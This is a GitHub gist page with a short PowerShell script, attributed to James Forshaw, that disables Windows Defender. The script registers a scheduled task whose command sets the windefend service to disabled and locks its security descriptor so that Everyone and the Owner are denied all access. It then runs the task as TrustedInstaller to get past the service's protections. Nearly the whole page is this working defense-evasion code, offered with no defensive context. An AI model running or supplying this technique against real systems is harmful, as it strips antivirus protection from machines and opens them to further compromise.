Skip to content

Instantly share code, notes, and snippets.

@p0shkatz
Created May 7, 2020 11:50
Show Gist options
  • Save p0shkatz/689cbe7a332b8e8036e0a8411072ca6a to your computer and use it in GitHub Desktop.
Save p0shkatz/689cbe7a332b8e8036e0a8411072ca6a to your computer and use it in GitHub Desktop.
# from james forshaw
#
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
$task = $folder.GetTask('TestTask')
$task.RunEx($null, 0, 0, $user)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment